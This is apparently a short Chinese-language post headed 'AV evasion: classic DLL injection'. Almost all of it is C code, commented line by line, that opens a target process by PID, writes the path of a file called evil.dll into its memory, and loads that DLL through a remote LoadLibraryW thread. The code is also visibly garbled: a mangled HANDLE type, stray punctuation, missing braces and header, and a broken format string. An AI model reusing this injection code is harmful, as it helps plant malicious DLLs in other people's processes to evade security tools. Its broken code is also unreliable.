免杀 经典DLL注入

#include <stdio.h>。

int main(int argc, char* argv[])

DLE processHandle;

PVOID remoteBuffer;//声明了用于处理进程和远程内存的句柄和指针。

wchar_t dllPath[] = TEXT("C:\Users\Polar bear\Desktop\DLLinject\evil.dll");

//定义了要注入的DLL的路径。

printf("Injecting DLL to PID: %in", atoi(argv[1]));

//打印要注入的DLL的进程ID。

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

//打开了指定进程的句柄。

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

//在指定进程中分配了内存空间。

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

//将DLL的路径写入了指定进程的内存空间。

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

//获取了 LoadLibraryW 函数的地址。

CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);

//在指定进程中创建了一个远程线程，以便加载DLL。

CloseHandle(processHandle);

//关闭了进程句柄。

return 0;

//返回了程序执行的结果。